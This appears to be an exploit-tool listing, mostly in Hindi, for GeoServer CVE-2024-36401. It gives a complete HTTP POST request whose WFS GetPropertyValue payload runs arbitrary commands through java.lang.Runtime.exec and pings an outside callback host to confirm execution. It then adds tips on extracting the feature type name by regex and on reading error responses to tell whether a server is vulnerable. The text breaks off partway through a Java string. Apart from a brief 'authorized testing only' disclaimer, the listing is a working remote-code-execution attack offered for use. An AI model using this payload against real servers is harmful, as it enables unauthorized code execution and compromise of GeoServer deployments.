Exploit for geoserver

## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-AHISEC-GEOSERVER-
# geoserver CVE-2024-36401 भेद्यता शोषण उपकरण

geoserver CVE-2024-36401 पर्यावरण: JDK8 घोषणा: केवल अधिकृत परीक्षण के लिए, उपयोगकर्ता द्वारा दुरुपयोग से होने वाले सभी परिणाम लेखक से संबंधित नहीं हैं। कृपया कानूनों और विनियमों का पालन करें!

1, डिफ़ॉल्ट payload:

POST /geoserver/wfs HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.6367.118 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept: _/_ Connection: close Host: xxxx Accept-Language: en-US;q=0.9,en;q=0.8 Cache-Control: max-age=0 Content-Type: application/xml Content-Length: 356

<wfs:GetPropertyValue service='WFS' version='2.0.0' xmlns:topp='http://www.openplans.org/topp' xmlns:fes='http://www.opengis.net/fes/2.0' xmlns:wfs='http://www.opengis.net/wfs/2.0'> <wfs:Query typeNames='sf:archsites'/> wfs:valueReferenceexec(java.lang.Runtime.getRuntime(),'ping wsn9.callback.red')</wfs:valueReference> </wfs:GetPropertyValue>

तो यहाँ ध्यान दें: <wfs:Query typeNames='sf:archsites'/>

इस स्थान पर, यदि आपको regex के माध्यम से इसे प्राप्त करने की आवश्यकता है, तो यह sf:archsites वेबसाइट का एक मूल पहचानकर्ता है, आपको पहले इसका

wfs:ReturnFeatureType(.*?)</wfs:ReturnFeatureType> जानकारी प्राप्त करनी होगी, फिर आप जोड़ने का तरीका अपना सकते हैं

भेद्यता का निर्धारण करते समय wfs:valueReferenceexec(java.lang.Runtime.getRuntime(),'ping wsn9.callback.red')</wfs:valueReference>

यहाँ, वास्तव में DNS रिकॉर्ड देखने की आवश्यकता नहीं है

सरल तर्क यह है कि यह देखना है कि कोई असामान्य वर्ग मौजूद है या नहीं

जैसे java.lang.ClassCastException

बेशक, यह केवल निर्णय तर्क है

यह प्रतिध्वनि मूल रूप से 400 है, यहाँ गलती करना आसान है, आपको त्रुटि पृष्ठ का निर्धारण करने के बाद डेटा खोजने की आवश्यकता है

पहले आपको एक <wfs:ListStoredQueries service='WFS'\n" + " version='2.0.0'\n" + " xmlns:wfs='http://www.opengis.net/wfs/2.0'/>